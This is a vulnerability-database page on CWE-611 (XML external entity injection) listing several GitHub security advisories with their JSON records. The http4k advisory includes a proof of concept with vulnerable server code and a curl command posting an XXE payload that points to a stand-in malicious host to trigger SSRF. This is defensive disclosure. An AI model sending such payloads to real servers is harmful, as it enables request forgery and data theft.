Common Weakness Enumeration
CWE-611
AllowedImproper Restriction of XML External Entity Reference
Abstraction: Base · Status: Draft
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
1699 vulnerabilities reference this CWE, most recent first.
GHSA-7MJ5-HJJJ-8RGW
Vulnerability from github – Published: 2024-12-12 19:22 – Updated: 2026-06-09 10:42
VLAI
Summary
http4k has a potential XXE (XML External Entity Injection) vulnerability
Details
Summary
Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer. https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46 XML contents is parsed with DocumentBuilder without security settings on or external entity enabled
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Example Vulnerable server code:
import org.http4k.core.*
import org.http4k.format.Xml.xml
import org.http4k.server.Netty
import org.http4k.server.asServer
import org.w3c.dom.Document
fun main() {
val xmlLens = Body.xml().toLens()
// Create an HTTP handler
val app: HttpHandler = { request ->
try {
// Parse the incoming XML payload to a Document object
val xmlDocument: Document = xmlLens(request)
// Extract root element name or other details from the XML
val rootElementName = xmlDocument.documentElement.nodeName
// Create a response XML based on the extracted information
val responseXml = """
<response>
<message>Root element is: $rootElementName</message>
</response>
""".trimIndent()
// Respond with XML
Response(Status.OK).body(responseXml).header("Content-Type", "application/xml")
} catch (e: Exception) {
// Handle invalid XML or other errors
Response(Status.BAD_REQUEST).body("Invalid XML: ${e.message}")
}
}
// Start the server
val server = app.asServer(Netty(9000)).start()
println("Server started on http://localhost:9000")
}
Maven dependency:
<dependencies>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-test-junit5</artifactId>
<version>1.9.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>5.10.0</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.jetbrains.kotlin</groupId>
<artifactId>kotlin-stdlib</artifactId>
<version>1.9.0</version>
</dependency>
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-core</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- Http4k XML format -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-format-xml</artifactId>
<version>5.40.0.0</version>
</dependency>
<!-- http4k Netty -->
<dependency>
<groupId>org.http4k</groupId>
<artifactId>http4k-server-netty</artifactId>
<version>5.40.0.0</version>
</dependency>
</dependencies>
Exploit payload example to trigger SSRF
curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"
Impact
What kind of vulnerability is it? Who is impacted? The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability
Follow-up patch — v6.50.0.0 (May 2026)
The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting ACCESS_EXTERNAL_DTD="", ACCESS_EXTERNAL_SCHEMA="", and isExpandEntityReferences=false on the default DocumentBuilderFactory.
A residual gap remained: the parser still accepted documents containing <!DOCTYPE> declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using Body.xml() or Document.asXmlDocument() on untrusted XML.
v6.50.0.0 closes this residual by adding disallow-doctype-decl=true and FEATURE_SECURE_PROCESSING=true to defaultXmlParsingConfig. Any document containing a <!DOCTYPE> is now rejected at parse time.
Follow-up affected & fixed versions
| Version | Fixed Version |
|---|---|
>= 5.41.0.0, < 6.50.0.0 |
6.50.0.0 |
v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact enterprise@http4k.org if you need it.
Follow-up timeline
| Date/time (UTC) | Notes |
|---|---|
| 31/05/2026 17:12 | Follow-up patch merged (commit c0cfaf5d63) with new tests for <!DOCTYPE> rejection and billion-laughs payload rejection |
| 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.http4k:http4k-format-xml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.50.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55875"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-611",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-12T19:22:01Z",
"nvd_published_at": "2024-12-12T19:15:13Z",
"severity": "CRITICAL"
},
"details": "### Summary\n_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._\n\nThere is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\nhttps://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46\nXML contents is parsed with DocumentBuilder without security settings on or external entity enabled\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n#### Example Vulnerable server code:\n```\nimport org.http4k.core.*\nimport org.http4k.format.Xml.xml\nimport org.http4k.server.Netty\nimport org.http4k.server.asServer\nimport org.w3c.dom.Document\n\nfun main() {\n\n val xmlLens = Body.xml().toLens()\n\n // Create an HTTP handler\n val app: HttpHandler = { request -\u003e\n try {\n // Parse the incoming XML payload to a Document object\n val xmlDocument: Document = xmlLens(request)\n\n // Extract root element name or other details from the XML\n val rootElementName = xmlDocument.documentElement.nodeName\n\n // Create a response XML based on the extracted information\n val responseXml = \"\"\"\n \u003cresponse\u003e\n \u003cmessage\u003eRoot element is: $rootElementName\u003c/message\u003e\n \u003c/response\u003e\n \"\"\".trimIndent()\n\n // Respond with XML\n Response(Status.OK).body(responseXml).header(\"Content-Type\", \"application/xml\")\n } catch (e: Exception) {\n // Handle invalid XML or other errors\n Response(Status.BAD_REQUEST).body(\"Invalid XML: ${e.message}\")\n }\n }\n\n // Start the server\n val server = app.asServer(Netty(9000)).start()\n println(\"Server started on http://localhost:9000\")\n}\n```\n#### Maven dependency:\n```\n\u003cdependencies\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n \u003cartifactId\u003ekotlin-test-junit5\u003c/artifactId\u003e\n \u003cversion\u003e1.9.0\u003c/version\u003e\n \u003cscope\u003etest\u003c/scope\u003e\n \u003c/dependency\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.junit.jupiter\u003c/groupId\u003e\n \u003cartifactId\u003ejunit-jupiter-engine\u003c/artifactId\u003e\n \u003cversion\u003e5.10.0\u003c/version\u003e\n \u003cscope\u003etest\u003c/scope\u003e\n \u003c/dependency\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.jetbrains.kotlin\u003c/groupId\u003e\n \u003cartifactId\u003ekotlin-stdlib\u003c/artifactId\u003e\n \u003cversion\u003e1.9.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-core\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003c!-- Http4k XML format --\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-format-xml\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n\n \u003c!-- http4k Netty --\u003e\n \u003cdependency\u003e\n \u003cgroupId\u003eorg.http4k\u003c/groupId\u003e\n \u003cartifactId\u003ehttp4k-server-netty\u003c/artifactId\u003e\n \u003cversion\u003e5.40.0.0\u003c/version\u003e\n \u003c/dependency\u003e\n \u003c/dependencies\u003e\n```\n#### Exploit payload example to trigger SSRF\n`curl -X POST http://localhost:9000 -H \"Content-Type: application/xml\" -d \"\u003c?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?\u003e\u003c!DOCTYPE root [\u003c!ENTITY xxe SYSTEM \\\"https://replace.with.your.malicious.website/poc\\\"\u003e]\u003e\u003croot\u003e\u0026xxe;\u003c/root\u003e\"`\n\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nThe servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerability\n\n### Follow-up patch \u2014 v6.50.0.0 (May 2026)\n\nThe original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=\"\"`, `ACCESS_EXTERNAL_SCHEMA=\"\"`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.\n\nA residual gap remained: the parser still **accepted** documents containing `\u003c!DOCTYPE\u003e` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.\n\n **v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `\u003c!DOCTYPE\u003e` is now rejected at parse time.\n\n#### Follow-up affected \u0026 fixed versions\n\n | Version | Fixed Version |\n |---------|---------------|\n | `\u003e= 5.41.0.0, \u003c 6.50.0.0` | **6.50.0.0** |\n\nv6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases \u2014 contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.\n\n#### Follow-up timeline\n\n | Date/time (UTC) | Notes |\n |-----------------|-------|\n | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `\u003c!DOCTYPE\u003e` rejection and billion-laughs payload rejection |\n | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |",
"id": "GHSA-7mj5-hjjj-8rgw",
"modified": "2026-06-09T10:42:52Z",
"published": "2024-12-12T19:22:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/security/advisories/GHSA-7mj5-hjjj-8rgw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55875"
},
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/commit/35297adc6d6aca4951d50d8cdf17ff87a8b19fbc"
},
{
"type": "PACKAGE",
"url": "https://github.com/http4k/http4k"
},
{
"type": "WEB",
"url": "https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "http4k has a potential XXE (XML External Entity Injection) vulnerability"
}
GHSA-7P2F-9VW3-7J56
Vulnerability from github – Published: 2023-01-17 21:30 – Updated: 2023-01-23 21:30
VLAI
Details
Zoho ManageEngine Exchange Reporter Plus before 5708 allows attackers to conduct XXE attacks.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2023-22624"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-17T20:15:00Z",
"severity": "HIGH"
},
"details": "Zoho ManageEngine Exchange Reporter Plus before 5708 allows attackers to conduct XXE attacks.",
"id": "GHSA-7p2f-9vw3-7j56",
"modified": "2023-01-23T21:30:26Z",
"published": "2023-01-17T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22624"
},
{
"type": "WEB",
"url": "https://www.manageengine.com/products/exchange-reports/advisory/CVE-2023-22624.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7P6H-H74M-FPV3
Vulnerability from github – Published: 2026-03-02 03:30 – Updated: 2026-03-02 03:30
VLAI
Details
A flaw has been found in thinkgem JeeSite up to 5.15.1. Impacted is an unknown function of the file /com/jeesite/common/shiro/cas/CasOutHandler.java of the component Endpoint. Executing a manipulation can lead to xml external entity reference. The attack may be performed from remote. Attacks of this nature are highly complex. The exploitability is considered difficult. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-3404"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-02T02:16:19Z",
"severity": "LOW"
},
"details": "A flaw has been found in thinkgem JeeSite up to 5.15.1. Impacted is an unknown function of the file /com/jeesite/common/shiro/cas/CasOutHandler.java of the component Endpoint. Executing a manipulation can lead to xml external entity reference. The attack may be performed from remote. Attacks of this nature are highly complex. The exploitability is considered difficult. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-7p6h-h74m-fpv3",
"modified": "2026-03-02T03:30:21Z",
"published": "2026-03-02T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3404"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.348299"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.348299"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.763732"
},
{
"type": "WEB",
"url": "https://www.yuque.com/la12138/pa2fpb/ew8x2qss8dv0bsu0?singleDoc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7PG4-5233-82JV
Vulnerability from github – Published: 2022-05-17 04:56 – Updated: 2024-04-09 14:07
VLAI
Summary
Zend Framework XXE Vulnerability
Details
Zend_XmlRpc in Zend Framework 1.x before 1.11.12 and 1.12.x before 1.12.0 does not properly handle SimpleXMLElement classes, which allows remote attackers to read arbitrary files or create TCP connections via an external entity reference in a DOCTYPE element in an XML-RPC request, aka an XML external entity (XXE) injection attack.
Severity
7.3 (High)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "zendframework/zendframework1"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.11.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "zendframework/zendframework1"
},
"ranges": [
{
"events": [
{
"introduced": "1.12.0-rc1"
},
{
"fixed": "1.12.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2012-3363"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-12T18:22:11Z",
"nvd_published_at": "2013-02-13T17:55:00Z",
"severity": "HIGH"
},
"details": "`Zend_XmlRpc` in Zend Framework 1.x before 1.11.12 and 1.12.x before 1.12.0 does not properly handle `SimpleXMLElement` classes, which allows remote attackers to read arbitrary files or create TCP connections via an external entity reference in a DOCTYPE element in an XML-RPC request, aka an XML external entity (XXE) injection attack.",
"id": "GHSA-7pg4-5233-82jv",
"modified": "2024-04-09T14:07:57Z",
"published": "2022-05-17T04:56:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-3363"
},
{
"type": "WEB",
"url": "https://github.com/zendframework/zf1/commit/281a3251d71ed40a5289ec4afc355eea8e014dc5"
},
{
"type": "PACKAGE",
"url": "https://github.com/zendframework/zf1"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=225345"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170223044943/http://www.securitytracker.com/id?1027208"
},
{
"type": "WEB",
"url": "https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt"
},
{
"type": "WEB",
"url": "http://framework.zend.com/security/advisory/ZF2012-01"
},
{
"type": "WEB",
"url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-34284"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-April/101310.html"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2013-April/101358.html"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2013/03/25/2"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2012/dsa-2505"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/06/26/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/06/26/4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2012/06/27/2"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1027208"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Zend Framework XXE Vulnerability"
}
GHSA-7PM8-VQV8-7V4X
Vulnerability from github – Published: 2022-05-13 01:01 – Updated: 2022-05-13 01:01
VLAI
Details
An exploitable XML entity injection vulnerability exists in OpenFire User Import Export Plugin 2.6.0. A specially crafted web request can cause the retrieval of arbitrary files or denial of service. An authenticated attacker can send a crafted web request to trigger this vulnerability.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2017-2815"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-15T17:29:00Z",
"severity": "HIGH"
},
"details": "An exploitable XML entity injection vulnerability exists in OpenFire User Import Export Plugin 2.6.0. A specially crafted web request can cause the retrieval of arbitrary files or denial of service. An authenticated attacker can send a crafted web request to trigger this vulnerability.",
"id": "GHSA-7pm8-vqv8-7v4x",
"modified": "2022-05-13T01:01:24Z",
"published": "2022-05-13T01:01:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2815"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0316"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7PX3-6F6G-HXCJ
Vulnerability from github – Published: 2018-10-17 19:55 – Updated: 2024-03-04 23:38
VLAI
Summary
XML external entity expansion in org.apache.solr:solr-core
Details
This vulnerability in Apache Solr 6.0.0 to 6.6.4 and 7.0.0 to 7.3.1 relates to an XML external entity expansion (XXE) in Solr config files (currency.xml, enumsConfig.xml referred from schema.xml, TIKA parsecontext config file). In addition, Xinclude functionality provided in these config files is also affected in a similar way. The vulnerability can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network. The manipulated files can be uploaded as configsets using Solr's API, allowing to exploit that vulnerability.
Severity
5.5 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.solr:solr-core"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.solr:solr-core"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-8026"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:23:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "This vulnerability in Apache Solr 6.0.0 to 6.6.4 and 7.0.0 to 7.3.1 relates to an XML external entity expansion (XXE) in Solr config files (currency.xml, enumsConfig.xml referred from schema.xml, TIKA parsecontext config file). In addition, Xinclude functionality provided in these config files is also affected in a similar way. The vulnerability can be used as XXE using file/ftp/http protocols in order to read arbitrary local files from the Solr server or the internal network. The manipulated files can be uploaded as configsets using Solr\u0027s API, allowing to exploit that vulnerability.",
"id": "GHSA-7px3-6f6g-hxcj",
"modified": "2024-03-04T23:38:56Z",
"published": "2018-10-17T19:55:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8026"
},
{
"type": "WEB",
"url": "https://github.com/apache/lucene-solr/commit/1880d4824e6c5f98170b9a00aad1d437ee2aa12"
},
{
"type": "WEB",
"url": "https://github.com/apache/lucene-solr/commit/3aa6086ed99fa7158d423dc7c33dae6da466b09"
},
{
"type": "WEB",
"url": "https://github.com/apache/lucene-solr/commit/d1baf6ba593561f39e2da0a71a8440797005b55"
},
{
"type": "WEB",
"url": "https://github.com/apache/lucene-solr/commit/e5407c5a9710247e5f728aae36224a245a51f0b"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7px3-6f6g-hxcj"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/SOLR-12450"
},
{
"type": "WEB",
"url": "https://mail-archives.apache.org/mod_mbox/lucene-solr-user/201807.mbox/%3C0cdc01d413b7%24f97ba580%24ec72f080%24%40apache.org%3E"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190307-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "XML external entity expansion in org.apache.solr:solr-core"
}
GHSA-7Q84-R8XM-HP4C
Vulnerability from github – Published: 2022-05-14 01:42 – Updated: 2022-05-14 01:42
VLAI
Details
MicroMathematics version before commit 5c05ac8 contains a XML External Entity (XXE) vulnerability in SMathStudio files that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This attack appear to be exploitable via Specially crafted SMathStudio files. This vulnerability appears to have been fixed in after commit 5c05ac8.
Severity
10.0 (Critical)
{
"affected": [],
"aliases": [
"CVE-2018-1000821"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-20T15:29:00Z",
"severity": "CRITICAL"
},
"details": "MicroMathematics version before commit 5c05ac8 contains a XML External Entity (XXE) vulnerability in SMathStudio files that can result in Disclosure of confidential data, denial of service, SSRF, port scanning. This attack appear to be exploitable via Specially crafted SMathStudio files. This vulnerability appears to have been fixed in after commit 5c05ac8.",
"id": "GHSA-7q84-r8xm-hp4c",
"modified": "2022-05-14T01:42:24Z",
"published": "2022-05-14T01:42:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000821"
},
{
"type": "WEB",
"url": "https://github.com/mkulesh/microMathematics/issues/79"
},
{
"type": "WEB",
"url": "https://0dd.zone/2018/10/27/micromathematics-XXE"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7QFJ-CCV6-R868
Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2026-07-05 00:31
VLAI
Details
A XML External Entity (XXE) vulnerability was discovered in symphony\lib\toolkit\class.xmlelement.php in Symphony 2.7.10 which can lead to an information disclosure or denial of service (DOS).
Severity
9.1 (Critical)
{
"affected": [],
"aliases": [
"CVE-2020-25912"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-31T19:15:00Z",
"severity": "CRITICAL"
},
"details": "A XML External Entity (XXE) vulnerability was discovered in symphony\\lib\\toolkit\\class.xmlelement.php in Symphony 2.7.10 which can lead to an information disclosure or denial of service (DOS).",
"id": "GHSA-7qfj-ccv6-r868",
"modified": "2026-07-05T00:31:23Z",
"published": "2022-05-24T19:19:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25912"
},
{
"type": "WEB",
"url": "https://github.com/symphonycms/symphonycms/issues/2924"
},
{
"type": "WEB",
"url": "http://symphony.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7QFM-6M33-RGG9
Vulnerability from github – Published: 2021-08-13 15:21 – Updated: 2021-06-28 19:08
VLAI
Summary
XML External Entity Reference
Details
An issue was discovered in service-api before 4.3.12 and 5.x before 5.1.1 for Report Portal. It allows XXE, with resultant secrets disclosure and SSRF, via JUnit XML launch import.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.epam.reportportal:service-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.epam.reportportal:service-api"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2021-06-28T19:08:40Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "An issue was discovered in service-api before 4.3.12 and 5.x before 5.1.1 for Report Portal. It allows XXE, with resultant secrets disclosure and SSRF, via JUnit XML launch import.",
"id": "GHSA-7qfm-6m33-rgg9",
"modified": "2021-06-28T19:08:40Z",
"published": "2021-08-13T15:21:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12642"
},
{
"type": "WEB",
"url": "https://github.com/reportportal/reportportal/blob/master/SECURITY_ADVISORIES.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "XML External Entity Reference"
}
GHSA-7QFQ-Q2RC-5R96
Vulnerability from github – Published: 2022-03-22 00:00 – Updated: 2022-03-30 00:01
VLAI
Details
The wechat_return function in /controller/Index.php of EyouCms V1.5.4-UTF8-SP3 passes the user's input directly into the simplexml_ load_ String function, which itself does not prohibit external entities, triggering a XML external entity (XXE) injection vulnerability.
Severity
7.2 (High)
{
"affected": [],
"aliases": [
"CVE-2021-42194"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-20T22:15:00Z",
"severity": "HIGH"
},
"details": "The wechat_return function in /controller/Index.php of EyouCms V1.5.4-UTF8-SP3 passes the user\u0027s input directly into the simplexml_ load_ String function, which itself does not prohibit external entities, triggering a XML external entity (XXE) injection vulnerability.",
"id": "GHSA-7qfq-q2rc-5r96",
"modified": "2022-03-30T00:01:19Z",
"published": "2022-03-22T00:00:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42194"
},
{
"type": "WEB",
"url": "https://github.com/eyoucms/eyoucms/issues/19"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Implementation
System Configuration
Many XML parsers and validators can be configured to disable external entity expansion.
CAPEC-221: Data Serialization External Entities Blowup
This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.